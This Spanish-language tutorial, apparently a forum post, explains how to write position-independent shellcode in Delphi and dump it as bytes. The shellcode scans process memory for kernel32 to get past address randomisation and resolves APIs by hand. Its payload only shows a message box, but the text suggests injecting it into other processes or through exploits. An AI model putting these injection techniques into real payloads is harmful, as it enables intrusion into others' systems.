Lo primero es crear un proyecto nuevo de Delphi y añadir esta función:
procedure ShellCodeProc(P: Pointer); begin // Aqui va ir el codigo // Pie , lo utilizo para encontrar el final de la funcion asm NOP; NOP; NOP; NOP; NOP; NOP; NOP; NOP; end; end;
Dentro de esa función es donde meteremos nuestro código, y una vez compilada usaremos esta otra función para volcar el "código maquina" a texto.
// aqui deberiamos "desensamblar" el codigo, esta es solo una solucion cutre procedure DumpCode(const Func: PAnsiChar); var P: PAnsiChar; begin Writeln; Writeln; if Func = nil then Exit; P:= Func; while StrLComp(P,#$90#$90#$90#$90#$90#$90#$90#$90,2) <> 0 do begin Write('#$' + IntToHex(Byte(P^),2)); inc(P); end; inc(P,8); while P^ <> #$C3 do begin Write('#$' + IntToHex(Byte(P^),2)); inc(P); end; Write('#$C3'); Writeln; Writeln; end;
Una vez que tenemos nuestro "lugar" de trabajo vamos a programar:
procedure ShellCodeProc(P: Pointer); var Mem: PByte; IDH: PImageDosHeader; INH: PImageNtHeaders; IED: PImageExportDirectory; Names: PDWORD; NameOrdinals: PWORD; Functions: PDWORD; Name: PAnsiChar; Kernel32: HModule; strLoadLibrary: PAnsiChar; strGetProcAddress: PAnsiChar; MyLoadLibrary: function (lpLibFileName: PChar): HMODULE; stdcall; MyGetProcAddress: function (hModule: HMODULE; lpProcName: LPCSTR): FARPROC; stdcall; i,j: Integer; strUser32: PAnsiChar; strMessageBoxA: PAnsiChar; MyMessageBoxA: function (hWnd: HWND; lpText, lpCaption: PAnsiChar; uType: UINT): Integer; stdcall; Str: PAnsiChar; begin // Recordar que no se pueden usar cadenas de texto directamente, // ya que delphi luego haria referencia a ellas por su posicion // absoluta dentro del ejecutable, asi que al insertarlo en otro ejecutable // no las encontraria. Tampoco podemos usar bloques "try .. except" ni // funciones externas, ni siquiera las de "Sysutils", y en general nada que delphi guarde en otra // parte del ejecutable, ya que en el nuevo proceso no estaran en el mismo sitio // Empezamos con un poquito de ensablador asm push eax // Guardamos el registro eax jmp @@Salto // Saltamos al comienzo db 'Hola mundo',0 // Declaramos algunas constantes db 'MessageBoxA',0 // hay que recordar que se tienen db 'user32.dll',0 // que declarar de esta manera db 'LoadLibraryA',0 // para que queden "incrsutadas" db 'GetProcAddress',0 // dentro del codigo @@ExHandler: // Esta rutina maneja las excepciones push ebp // al leer posiciones de memoria prohibidas mov ebp,esp mov eax,[ebp+$10] add [eax+$a4],$10000 // Incrementa el puntero en 64 Kb xor eax,eax pop ebp ret @@GetEIP: // Esta funcion nos devuelve la posicion pop eax // de memoria actual push eax ret @@Salto: call @@GetEIP // Obtenemos la posicion actual sub eax,$1c // Calculamos la posicion de la rutina ExHandler push eax // La guardamos en la pila sub eax,$0f // Calculamos la posicion de las cadenas de texto mov strGetProcAddress,eax sub eax,$0d mov strLoadLibrary,eax sub eax,$0b mov strUser32,eax sub eax,$0c mov strMessageBoxA,eax sub eax,$0b mov Str,eax push dword ptr fs:[0] // Añadimos la rutina ExHandler a los manejadores mov dword ptr fs:[0], esp // de excepciones end; // Si queremos poder hacer algo vamos a tener que poder usar las APIS de windows. // Normalmente se suele usar el "truco" de que windows carga las dlls // del sistema (kernel32, user32, etc ...) casi siempre en la misma posicion de memoria // por lo que se incluye como una constante. Pero esto no es simpre cierto, depende // de la version del sistema. Ademas en las ultimas versiones de windows se intenta // cargar las librerias en posiciones "aleatorias" para evitar las inyecciones de codigo // La solucion que se me ocurrio es "escanear" la memoria del proceso para buscar // la posicion de la libreria Kernel32 y a partir de ahi sacar lo demas Kernel32:= 0; MyLoadLibrary:= nil; MyGetProcAddress:= nil; Mem:= nil; // Comenzxamos en la posicion 0 while (@MyGetProcAddress = nil) or (@MyLoadLibrary = nil) do begin // Leemos la posicion de memoria a la que apunta "Mem" asm push ebx push ecx mov ebx,Mem mov ecx,[ebx] // Si salta una excepcion, incrementamos el puntero 64Kb, y volvemos aprobar mov Mem,ebx pop ecx pop ebx end; // Si llegamos aqui es que el bloque de memoria se puede leer // Comprobamos si es el comienzo de una dll if PImageDosHeader(Mem)^.e_magic = IMAGE_DOS_SIGNATURE then begin IDH:= PImageDosHeader(Mem); INH:= PImageNtHeaders(Integer(IDH) + IDH^._lfanew); // Volvemos a comprobar un segundo numero "magico" if INH^.Signature = IMAGE_NT_SIGNATURE then // y una ultima comprobacion mas if INH^.FileHeader.Characteristics and IMAGE_FILE_DLL = IMAGE_FILE_DLL then if INH^.FileHeader.SizeOfOptionalHeader > 0 then if (INH^.OptionalHeader.Magic = $010b) or (INH^.OptionalHeader.Magic = $020b) then begin // Ya estamos seguros que se trata de una dll IED:= PImageExportDirectory(Cardinal(Mem) + INH^.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); Names:= PDWORD(Integer(Mem) + Integer(IED.AddressOfNames)); // Recorremos las funciones que exporta for i:= 0 to IED^.NumberOfNames - 1 do begin Name:= PAnsiChar(Cardinal(Mem) + Names^); j:= 0; // Hasta que encontramos la que nos intersa (recordar que no podemos usar StrComp while (strGetProcAddress[j]=Name[j]) and (strGetProcAddress[j]<>#0) do inc(j); if strGetProcAddress[j] = #0 then begin // Caundo encontramos GetProcAddress NameOrdinals:= PWORD(Integer(Mem) + Integer(IED.AddressOfNameOrdinals)); inc(NameOrdinals,i); Functions:= PDWORD(Integer(Mem) + Integer(IED.AddressOfFunctions)); inc(Functions,NameOrdinals^); Kernel32:= Cardinal(Mem); // Guardamos la direccion de la funcion @MyGetProcAddress:= PDWORD(Cardinal(Mem) + Functions^); // Y el handle del modulo (que se corresponde con su posicion de memoria) @MyLoadLibrary:= MyGetProcAddress(Kernel32,strLoadLibrary); // Y terminamos con el escaneo break; end; inc(Names); end; end; end; // Incrementamos el puntero 64Kb inc(Mem,$10000); end; // Sacamos el manejador de Excepciones que habiamos introducido antes asm pop dword ptr fs:[0] pop eax pop eax end; // Mostramos un bonito mensaje @MyMessageBoxA:= MyGetProcAddress(MyLoadLibrary(strUser32),strMessageBoxA); MyMessageBoxA(0,Str,Str,MB_OK or MB_TASKMODAL); // Pie , lo utilizo para encontrar el final de la funcion asm NOP; NOP; NOP; NOP; NOP; NOP; NOP; NOP; end; end;
Para volcar la función podemos usar algo como esto:
DumpCode(@ShellCodeProc);
Que nos dará como salida esto:
#$55#$8B#$EC#$83#$C4#$C0#$53#$56#$57#$50#$EB#$55#$48#$6F#$6C#$61#$20#$6D#$75#$6E #$64#$6F#$00#$4D#$65#$73#$73#$61#$67#$65#$42#$6F#$78#$41#$00#$75#$73#$65#$72#$33 #$32#$2E#$64#$6C#$6C#$00#$4C#$6F#$61#$64#$4C#$69#$62#$72#$61#$72#$79#$41#$00#$47 #$65#$74#$50#$72#$6F#$63#$41#$64#$64#$72#$65#$73#$73#$00#$55#$89#$E5#$8B#$45#$10 #$81#$80#$A4#$00#$00#$00#$00#$00#$01#$00#$31#$C0#$5D#$C3#$58#$50#$C3#$E8#$F8#$FF #$FF#$FF#$83#$E8#$1C#$50#$83#$E8#$0F#$89#$45#$FC#$83#$E8#$0D#$89#$45#$F8#$83#$E8 #$0B#$89#$45#$F4#$83#$E8#$0C#$89#$45#$F0#$83#$E8#$0B#$89#$45#$EC#$64#$FF#$35#$00 #$00#$00#$00#$64#$89#$25#$00#$00#$00#$00#$33#$FF#$33#$F6#$33#$C0#$89#$45#$E8#$E9 #$3D#$01#$00#$00#$53#$51#$8B#$5D#$E8#$8B#$0B#$89#$5D#$E8#$59#$5B#$8B#$45#$E8#$66 #$81#$38#$4D#$5A#$0F#$85#$1C#$01#$00#$00#$8B#$45#$E8#$89#$45#$E4#$8B#$45#$E4#$8B #$40#$3C#$03#$45#$E4#$89#$45#$E0#$8B#$45#$E0#$81#$38#$50#$45#$00#$00#$0F#$85#$FB #$00#$00#$00#$8B#$45#$E0#$0F#$B7#$40#$16#$66#$25#$00#$20#$66#$3D#$00#$20#$0F#$85 #$E6#$00#$00#$00#$8B#$45#$E0#$66#$83#$78#$14#$00#$0F#$86#$D8#$00#$00#$00#$8B#$45 #$E0#$66#$81#$78#$18#$0B#$01#$74#$0F#$8B#$45#$E0#$66#$81#$78#$18#$0B#$02#$0F#$85 #$BE#$00#$00#$00#$8B#$45#$E0#$8B#$40#$78#$03#$45#$E8#$89#$45#$DC#$8B#$45#$DC#$8B #$40#$20#$03#$45#$E8#$89#$45#$D8#$8B#$45#$DC#$8B#$40#$18#$48#$85#$C0#$0F#$8C#$97 #$00#$00#$00#$40#$89#$45#$C0#$C7#$45#$C4#$00#$00#$00#$00#$8B#$45#$D8#$8B#$00#$03 #$45#$E8#$89#$45#$CC#$33#$DB#$EB#$01#$43#$8B#$45#$FC#$0F#$B6#$04#$18#$8B#$55#$CC #$3A#$04#$1A#$75#$09#$8B#$45#$FC#$80#$3C#$18#$00#$75#$E7#$8B#$45#$FC#$80#$3C#$18 #$00#$75#$4B#$8B#$45#$DC#$8B#$40#$24#$03#$45#$E8#$89#$45#$D4#$8B#$45#$C4#$03#$C0 #$01#$45#$D4#$8B#$45#$DC#$8B#$40#$1C#$03#$45#$E8#$89#$45#$D0#$8B#$45#$D4#$0F#$B7 #$00#$03#$C0#$03#$C0#$01#$45#$D0#$8B#$45#$E8#$89#$45#$C8#$8B#$45#$D0#$8B#$00#$03 #$45#$E8#$89#$C6#$8B#$45#$F8#$50#$8B#$45#$C8#$50#$FF#$D6#$89#$C7#$EB#$10#$83#$45 #$D8#$04#$FF#$45#$C4#$FF#$4D#$C0#$0F#$85#$74#$FF#$FF#$FF#$81#$45#$E8#$00#$00#$01 #$00#$85#$F6#$0F#$84#$BB#$FE#$FF#$FF#$85#$FF#$0F#$84#$B3#$FE#$FF#$FF#$64#$8F#$05 #$00#$00#$00#$00#$58#$58#$8B#$45#$F0#$50#$8B#$45#$F4#$50#$FF#$D7#$50#$FF#$D6#$89 #$C3#$68#$00#$20#$00#$00#$8B#$45#$EC#$50#$8B#$45#$EC#$50#$6A#$00#$FF#$D3#$5F#$5E #$5B#$8B#$E5#$5D#$C3
Este código lo podríamos inyectar directamente, con alguna de las rutinas de nuestro amigo escafandra, o aprovechando algún "exploit".
Para probarlo podemos hacer algo como esto:
const test : AnsiString = #$55#$8B#$EC#$83#$C4#$C0#$53#$56#$57#$50#$EB#$55#$48#$6F#$6C#$61#$20#$6D#$75#$6E+ #$64#$6F#$00#$4D#$65#$73#$73#$61#$67#$65#$42#$6F#$78#$41#$00#$75#$73#$65#$72#$33+ #$32#$2E#$64#$6C#$6C#$00#$4C#$6F#$61#$64#$4C#$69#$62#$72#$61#$72#$79#$41#$00#$47+ #$65#$74#$50#$72#$6F#$63#$41#$64#$64#$72#$65#$73#$73#$00#$55#$89#$E5#$8B#$45#$10+ #$81#$80#$A4#$00#$00#$00#$00#$00#$01#$00#$31#$C0#$5D#$C3#$58#$50#$C3#$E8#$F8#$FF+ #$FF#$FF#$83#$E8#$1C#$50#$83#$E8#$0F#$89#$45#$FC#$83#$E8#$0D#$89#$45#$F8#$83#$E8+ #$0B#$89#$45#$F4#$83#$E8#$0C#$89#$45#$F0#$83#$E8#$0B#$89#$45#$EC#$64#$FF#$35#$00+ #$00#$00#$00#$64#$89#$25#$00#$00#$00#$00#$33#$FF#$33#$F6#$33#$C0#$89#$45#$E8#$E9+ #$3D#$01#$00#$00#$53#$51#$8B#$5D#$E8#$8B#$0B#$89#$5D#$E8#$59#$5B#$8B#$45#$E8#$66+ #$81#$38#$4D#$5A#$0F#$85#$1C#$01#$00#$00#$8B#$45#$E8#$89#$45#$E4#$8B#$45#$E4#$8B+ #$40#$3C#$03#$45#$E4#$89#$45#$E0#$8B#$45#$E0#$81#$38#$50#$45#$00#$00#$0F#$85#$FB+ #$00#$00#$00#$8B#$45#$E0#$0F#$B7#$40#$16#$66#$25#$00#$20#$66#$3D#$00#$20#$0F#$85+ #$E6#$00#$00#$00#$8B#$45#$E0#$66#$83#$78#$14#$00#$0F#$86#$D8#$00#$00#$00#$8B#$45+ #$E0#$66#$81#$78#$18#$0B#$01#$74#$0F#$8B#$45#$E0#$66#$81#$78#$18#$0B#$02#$0F#$85+ #$BE#$00#$00#$00#$8B#$45#$E0#$8B#$40#$78#$03#$45#$E8#$89#$45#$DC#$8B#$45#$DC#$8B+ #$40#$20#$03#$45#$E8#$89#$45#$D8#$8B#$45#$DC#$8B#$40#$18#$48#$85#$C0#$0F#$8C#$97+ #$00#$00#$00#$40#$89#$45#$C0#$C7#$45#$C4#$00#$00#$00#$00#$8B#$45#$D8#$8B#$00#$03+ #$45#$E8#$89#$45#$CC#$33#$DB#$EB#$01#$43#$8B#$45#$FC#$0F#$B6#$04#$18#$8B#$55#$CC+ #$3A#$04#$1A#$75#$09#$8B#$45#$FC#$80#$3C#$18#$00#$75#$E7#$8B#$45#$FC#$80#$3C#$18+ #$00#$75#$4B#$8B#$45#$DC#$8B#$40#$24#$03#$45#$E8#$89#$45#$D4#$8B#$45#$C4#$03#$C0+ #$01#$45#$D4#$8B#$45#$DC#$8B#$40#$1C#$03#$45#$E8#$89#$45#$D0#$8B#$45#$D4#$0F#$B7+ #$00#$03#$C0#$03#$C0#$01#$45#$D0#$8B#$45#$E8#$89#$45#$C8#$8B#$45#$D0#$8B#$00#$03+ #$45#$E8#$89#$C6#$8B#$45#$F8#$50#$8B#$45#$C8#$50#$FF#$D6#$89#$C7#$EB#$10#$83#$45+ #$D8#$04#$FF#$45#$C4#$FF#$4D#$C0#$0F#$85#$74#$FF#$FF#$FF#$81#$45#$E8#$00#$00#$01+ #$00#$85#$F6#$0F#$84#$BB#$FE#$FF#$FF#$85#$FF#$0F#$84#$B3#$FE#$FF#$FF#$64#$8F#$05+ #$00#$00#$00#$00#$58#$58#$8B#$45#$F0#$50#$8B#$45#$F4#$50#$FF#$D7#$50#$FF#$D6#$89+ #$C3#$68#$00#$20#$00#$00#$8B#$45#$EC#$50#$8B#$45#$EC#$50#$6A#$00#$FF#$D3#$5F#$5E+ #$5B#$8B#$E5#$5D#$C3; var Proc: Procedure(P: Pointer); begin @Proc:= @test[1]; Proc(nil); end.
A jugar